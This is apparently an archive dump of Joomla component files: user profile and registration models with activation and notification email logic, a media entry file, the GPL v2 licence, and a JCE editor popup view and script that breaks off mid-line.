$form->setFieldAttribute('username', 'class', ''); $form->setFieldAttribute('username', 'filter', ''); $form->setFieldAttribute('username', 'description', 'COM_USERS_PROFILE_NOCHANGE_USERNAME_DESC'); $form->setFieldAttribute('username', 'validate', ''); $form->setFieldAttribute('username', 'message', ''); $form->setFieldAttribute('username', 'readonly', 'true'); $form->setFieldAttribute('username', 'required', 'false'); } // If the user needs to change their password, mark the password fields as required if (JFactory::getUser()->requireReset) { $form->setFieldAttribute('password1', 'required', 'true'); $form->setFieldAttribute('password2', 'required', 'true'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { $data = $this->getData(); $this->preprocessData('com_users.profile', $data); return $data; } /** * Override preprocessForm to load the user plugin group instead of content. * * @param object A form object. * @param mixed The data expected for the form. * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'user') { if (JComponentHelper::getParams('com_users')->get('frontend_userparams')) { $form->loadFile('frontend', false); if (JFactory::getUser()->authorise('core.login.admin')) { $form->loadFile('frontend_admin', false); } } parent::preprocessForm($form, $data, $group); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $params = JFactory::getApplication()->getParams('com_users'); // Get the user id. $userId = JFactory::getApplication()->getUserState('com_users.edit.profile.id'); $userId = !empty($userId) ? $userId : (int) JFactory::getUser()->get('id'); // Set the user id. $this->setState('user.id', $userId); // Load the parameters. $this->setState('params', $params); } /** * Method to save the form data. * * @param array The form data. * @return mixed The user id on success, false on failure. * @since 1.6 */ public function save($data) { $userId = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('user.id'); $user = new JUser($userId); // Prepare the data for the user object. $data['email'] = JStringPunycode::emailToPunycode($data['email1']); $data['password'] = $data['password1']; // Unset the username if it should not be overwritten $username = $data['username']; $isUsernameCompliant = $this->getState('user.username.compliant'); if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant) { unset($data['username']); } // Unset the block so it does not get overwritten unset($data['block']); // Unset the sendEmail so it does not get overwritten unset($data['sendEmail']); // handle the two factor authentication setup if (array_key_exists('twofactor', $data)) { $model = new UsersModelUser; $twoFactorMethod = $data['twofactor']['method']; // Get the current One Time Password (two factor auth) configuration $otpConfig = $model->getOtpConfig($userId); if ($twoFactorMethod != 'none') { // Run the plugins FOFPlatform::getInstance()->importPlugin('twofactorauth'); $otpConfigReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorApplyConfiguration', array($twoFactorMethod)); // Look for a valid reply foreach ($otpConfigReplies as $reply) { if (!is_object($reply) || empty($reply->method) || ($reply->method != $twoFactorMethod)) { continue; } $otpConfig->method = $reply->method; $otpConfig->config = $reply->config; break; } // Save OTP configuration. $model->setOtpConfig($userId, $otpConfig); // Generate one time emergency passwords if required (depleted or not set) if (empty($otpConfig->otep)) { $oteps = $model->generateOteps($userId); } } else { $otpConfig->method = 'none'; $otpConfig->config = array(); $model->setOtpConfig($userId, $otpConfig); } // Unset the raw data unset($data['twofactor']); // Reload the user record with the updated OTP configuration $user->load($userId); } // Bind the data. if (!$user->bind($data)) { $this->setError(JText::sprintf('COM_USERS_PROFILE_BIND_FAILED', $user->getError())); return false; } // Load the users plugin group. JPluginHelper::importPlugin('user'); // Null the user groups so they don't get overwritten $user->groups = null; // Store the data. if (!$user->save()) { $this->setError($user->getError()); return false; } $user->tags = new JHelperTags; $user->tags->getTagIds($user->id, 'com_users.user'); return $user->id; } /** * Gets the configuration forms for all two-factor authentication methods * in an array. * * @param integer $user_id The user ID to load the forms for (optional) * * @return array */ public function getTwofactorform($user_id = null) { $user_id = (!empty($user_id)) ? $user_id : (int) $this->getState('user.id'); $model = new UsersModelUser; $otpConfig = $model->getOtpConfig($user_id); FOFPlatform::getInstance()->importPlugin('twofactorauth'); return FOFPlatform::getInstance()->runPlugins('onUserTwofactorShowConfiguration', array($otpConfig, $user_id)); } public function getOtpConfig($user_id = null) { $user_id = (!empty($user_id)) ? $user_id : (int) $this->getState('user.id'); $model = new UsersModelUser; return $model->getOtpConfig($user_id); } } com_users/models/registration.php000066600000037714150771500630013275 0ustar00getDbo(); // Get the user id based on the token. $query = $db->getQuery(true); $query->select($db->quoteName('id')) ->from($db->quoteName('#__users')) ->where($db->quoteName('activation') . ' = ' . $db->quote($token)) ->where($db->quoteName('block') . ' = ' . 1) ->where($db->quoteName('lastvisitDate') . ' = ' . $db->quote($db->getNullDate())); $db->setQuery($query); try { $userId = (int) $db->loadResult(); } catch (RuntimeException $e) { $this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500); return false; } // Check for a valid user id. if (!$userId) { $this->setError(JText::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND')); return false; } // Load the users plugin group. JPluginHelper::importPlugin('user'); // Activate the user. $user = JFactory::getUser($userId); // Admin activation is on and user is verifying their email if (($userParams->get('useractivation') == 2) && !$user->getParam('activate', 0)) { $uri = JUri::getInstance(); // Compile the admin notification mail values. $data = $user->getProperties(); $data['activation'] = JApplication::getHash(JUserHelper::genRandomPassword()); $user->set('activation', $data['activation']); $data['siteurl'] = JUri::base(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base . JRoute::_('index.php?option=com_users&task=registration.activate&token=' . $data['activation'], false); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $user->setParam('activate', 1); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_SUBJECT', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_BODY', $data['sitename'], $data['name'], $data['email'], $data['username'], $data['activate'] ); // get all admin users $query->clear() ->select($db->quoteName(array('name', 'email', 'sendEmail', 'id'))) ->from($db->quoteName('#__users')) ->where($db->quoteName('sendEmail') . ' = ' . 1); $db->setQuery($query); try { $rows = $db->loadObjectList(); } catch (RuntimeException $e) { $this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500); return false; } // Send mail to all users with users creating permissions and receiving system emails foreach ($rows as $row) { $usercreator = JFactory::getUser($row->id); if ($usercreator->authorise('core.create', 'com_users')) { $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $row->email, $emailSubject, $emailBody); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } } } // Admin activation is on and admin is activating the account elseif (($userParams->get('useractivation') == 2) && $user->getParam('activate', 0)) { $user->set('activation', ''); $user->set('block', '0'); // Compile the user activated notification mail values. $data = $user->getProperties(); $user->setParam('activate', 0); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['siteurl'] = JUri::base(); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY', $data['name'], $data['siteurl'], $data['username'] ); $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } else { $user->set('activation', ''); $user->set('block', '0'); } // Store the user object. if (!$user->save()) { $this->setError(JText::sprintf('COM_USERS_REGISTRATION_ACTIVATION_SAVE_FAILED', $user->getError())); return false; } return $user; } /** * Method to get the registration form data. * * The base form data is loaded and then an event is fired * for users plugins to extend the data. * * @return mixed Data object on success, false on failure. * * @since 1.6 */ public function getData() { if ($this->data === null) { $this->data = new stdClass; $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_users'); // Override the base user data with any data in the session. $temp = (array) $app->getUserState('com_users.registration.data', array()); foreach ($temp as $k => $v) { $this->data->$k = $v; } // Get the groups the user should be added to after registration. $this->data->groups = array(); // Get the default new user group, Registered if not specified. $system = $params->get('new_usertype', 2); $this->data->groups[] = $system; // Unset the passwords. unset($this->data->password1); unset($this->data->password2); // Get the dispatcher and load the users plugins. $dispatcher = JEventDispatcher::getInstance(); JPluginHelper::importPlugin('user'); // Trigger the data preparation event. $results = $dispatcher->trigger('onContentPrepareData', array('com_users.registration', $this->data)); // Check for errors encountered while preparing the data. if (count($results) && in_array(false, $results, true)) { $this->setError($dispatcher->getError()); $this->data = false; } } return $this->data; } /** * Method to get the registration form. * * The base form is loaded from XML and then an event is fired * for users plugins to extend the form with extra fields. * * @param array $data An optional array of data for the form to interogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return JForm A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_users.registration', 'registration', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 */ protected function loadFormData() { $data = $this->getData(); $this->preprocessData('com_users.registration', $data); return $data; } /** * Override preprocessForm to load the user plugin group instead of content. * * @param JForm $form A JForm object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @since 1.6 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'user') { $userParams = JComponentHelper::getParams('com_users'); //Add the choice for site language at registration time if ($userParams->get('site_language') == 1 && $userParams->get('frontend_userparams') == 1) { $form->loadFile('sitelang', false); } parent::preprocessForm($form, $data, $group); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $app = JFactory::getApplication(); $params = $app->getParams('com_users'); // Load the parameters. $this->setState('params', $params); } /** * Method to save the form data. * * @param array $temp The form data. * * @return mixed The user id on success, false on failure. * * @since 1.6 */ public function register($temp) { $params = JComponentHelper::getParams('com_users'); // Initialise the table with JUser. $user = new JUser; $data = (array) $this->getData(); // Merge in the registration data. foreach ($temp as $k => $v) { $data[$k] = $v; } // Prepare the data for the user object. $data['email'] = JStringPunycode::emailToPunycode($data['email1']); $data['password'] = $data['password1']; $useractivation = $params->get('useractivation'); $sendpassword = $params->get('sendpassword', 1); // Check if the user needs to activate their account. if (($useractivation == 1) || ($useractivation == 2)) { $data['activation'] = JApplication::getHash(JUserHelper::genRandomPassword()); $data['block'] = 1; } // Bind the data. if (!$user->bind($data)) { $this->setError(JText::sprintf('COM_USERS_REGISTRATION_BIND_FAILED', $user->getError())); return false; } // Load the users plugin group. JPluginHelper::importPlugin('user'); // Store the data. if (!$user->save()) { $this->setError($user->getError()); return false; } $config = JFactory::getConfig(); $db = $this->getDbo(); $query = $db->getQuery(true); // Compile the notification mail values. $data = $user->getProperties(); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['siteurl'] = JUri::root(); // Handle account activation/confirmation emails. if ($useractivation == 2) { // Set the link to confirm the user email. $uri = JUri::getInstance(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base . JRoute::_('index.php?option=com_users&task=registration.activate&token=' . $data['activation'], false); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); if ($sendpassword) { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY', $data['name'], $data['sitename'], $data['activate'], $data['siteurl'], $data['username'], $data['password_clear'] ); } else { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY_NOPW', $data['name'], $data['sitename'], $data['activate'], $data['siteurl'], $data['username'] ); } } elseif ($useractivation == 1) { // Set the link to activate the user account. $uri = JUri::getInstance(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base . JRoute::_('index.php?option=com_users&task=registration.activate&token=' . $data['activation'], false); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); if ($sendpassword) { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY', $data['name'], $data['sitename'], $data['activate'], $data['siteurl'], $data['username'], $data['password_clear'] ); } else { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY_NOPW', $data['name'], $data['sitename'], $data['activate'], $data['siteurl'], $data['username'] ); } } else { $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); if ($sendpassword) { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_BODY', $data['name'], $data['sitename'], $data['siteurl'], $data['username'], $data['password_clear'] ); } else { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_BODY_NOPW', $data['name'], $data['sitename'], $data['siteurl'] ); } } // Send the registration email. $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody); // Send Notification mail to administrators if (($params->get('useractivation') < 2) && ($params->get('mail_to_admin') == 1)) { $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); $emailBodyAdmin = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY', $data['name'], $data['username'], $data['siteurl'] ); // Get all admin users $query->clear() ->select($db->quoteName(array('name', 'email', 'sendEmail'))) ->from($db->quoteName('#__users')) ->where($db->quoteName('sendEmail') . ' = ' . 1); $db->setQuery($query); try { $rows = $db->loadObjectList(); } catch (RuntimeException $e) { $this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500); return false; } // Send mail to all superadministrators id foreach ($rows as $row) { $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $row->email, $emailSubject, $emailBodyAdmin); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } } // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_SEND_MAIL_FAILED')); // Send a system message to administrators receiving system mails $db = JFactory::getDbo(); $query->clear() ->select($db->quoteName(array('name', 'email', 'sendEmail', 'id'))) ->from($db->quoteName('#__users')) ->where($db->quoteName('block') . ' = ' . (int) 0) ->where($db->quoteName('sendEmail') . ' = ' . (int) 1); $db->setQuery($query); try { $sendEmail = $db->loadColumn(); } catch (RuntimeException $e) { $this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500); return false; } if (count($sendEmail) > 0) { $jdate = new JDate; // Build the query to add the messages foreach ($sendEmail as $userid) { $values = array($db->quote($userid), $db->quote($userid), $db->quote($jdate->toSql()), $db->quote(JText::_('COM_USERS_MAIL_SEND_FAILURE_SUBJECT')), $db->quote(JText::sprintf('COM_USERS_MAIL_SEND_FAILURE_BODY', $return, $data['username']))); $query->clear() ->insert($db->quoteName('#__messages')) ->columns($db->quoteName(array('user_id_from', 'user_id_to', 'date_time', 'subject', 'message'))) ->values(implode(',', $values)); $db->setQuery($query); try { $db->execute(); } catch (RuntimeException $e) { $this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500); return false; } } } return false; } if ($useractivation == 1) { return "useractivate"; } elseif ($useractivation == 2) { return "adminactivate"; } else { return $user->id; } } } com_media/index.html000066600000000037150771500630010466 0ustar00 com_media/media.php000066600000001175150771500630010265 0ustar00load('com_media', JPATH_ADMINISTRATOR, null, false, true) || $lang->load('com_media', JPATH_SITE, null, false, true); // Hand processing over to the admin base file require_once JPATH_COMPONENT_ADMINISTRATOR . '/media.php'; com_jce/licence.txt000066600000043254150771500630010326 0ustar00 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. com_jce/views/popup/view.html.php000066600000005402150771500630013102 0ustar00document->addScript(JURI::root(true) . '/components/com_jce/media/js/popup.js'); $this->document->addStylesheet(JURI::root(true) . '/components/com_jce/media/css/popup.css'); // Get variables $img = JRequest::getVar('img'); $title = JRequest::getWord('title'); $mode = JRequest::getInt('mode', '0'); $click = JRequest::getInt('click', '0'); $print = JRequest::getInt('print', '0'); $dim = array('', ''); if (strpos('http', $img) === false) { $path = JPATH_SITE . '/' . trim(str_replace(JURI::root(), '', $img), '/'); if (is_file($path)) { $dim = @getimagesize($path); } } $width = JRequest::getInt('w', JRequest::getInt('width', '')); $height = JRequest::getInt('h', JRequest::getInt('height', '')); if (!$width) { $width = $dim[0]; } if (!$height) { $height = $dim[1]; } // Cleanup img variable $img = preg_replace('/[^a-z0-9\.\/_-]/i', '', $img); $title = isset($title) ? str_replace('_', ' ', $title) : basename($img); // img src must be passed if ($img) { $features = array( 'img' => str_replace(JURI::root(), '', $img), 'title' => $title, 'alt' => $title, 'mode' => $mode, 'click' => $click, 'print' => $print, 'width' => $width, 'height' => $height ); $this->document->addScriptDeclaration('(function(){WFWindowPopup.init(' . $width . ', ' . $height . ', ' . $click . ');})();'); $this->assign('features', $features); } else { $app->redirect('index.php'); } parent::display($tpl); } } ?> com_jce/views/popup/tmpl/default.php000066600000002704150771500630013567 0ustar00
    features['mode']) { ?>
    features['title']; ?>
    features['mode'] && $this->features['print']) { ?>
    <?php echo WFText::_('Print'); ?>
    <?php echo $this->features['alt']; ?>
    com_jce/views/popup/tmpl/index.html000066600000000054150771500630013423 0ustar00com_jce/views/popup/index.html000066600000000054150771500630012447 0ustar00com_jce/views/index.html000066600000000054150771500630011304 0ustar00com_jce/index.html000066600000000054150771500630010147 0ustar00com_jce/media/js/index.html000066600000000054150771500630011642 0ustar00com_jce/media/js/popup.js000066600000003731150771500630011353 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(win){var doc=win.document,body=doc.body,domLoaded=false;function ready(){if(doc.addEventListener){doc.addEventListener("DOMContentLoaded",function(){doc.removeEventListener("DOMContentLoaded",arguments.callee,false);return WFWindowPopup._init();},false);}else if(doc.attachEvent){doc.attachEvent("onreadystatechange",function(){if(doc.readyState==="complete"){doc.detachEvent("onreadystatechange",arguments.callee);return WFWindowPopup._init();}});if(doc.documentElement.doScroll&&win==win.top){(function(){if(domLoaded) return;try{doc.documentElement.doScroll("left");}catch(error){setTimeout(arguments.callee,0);return;} return WFWindowPopup._init();})();}} if(win.attachEvent){win.attachEvent('onload',function(){return WFWindowPopup._init();});}} var 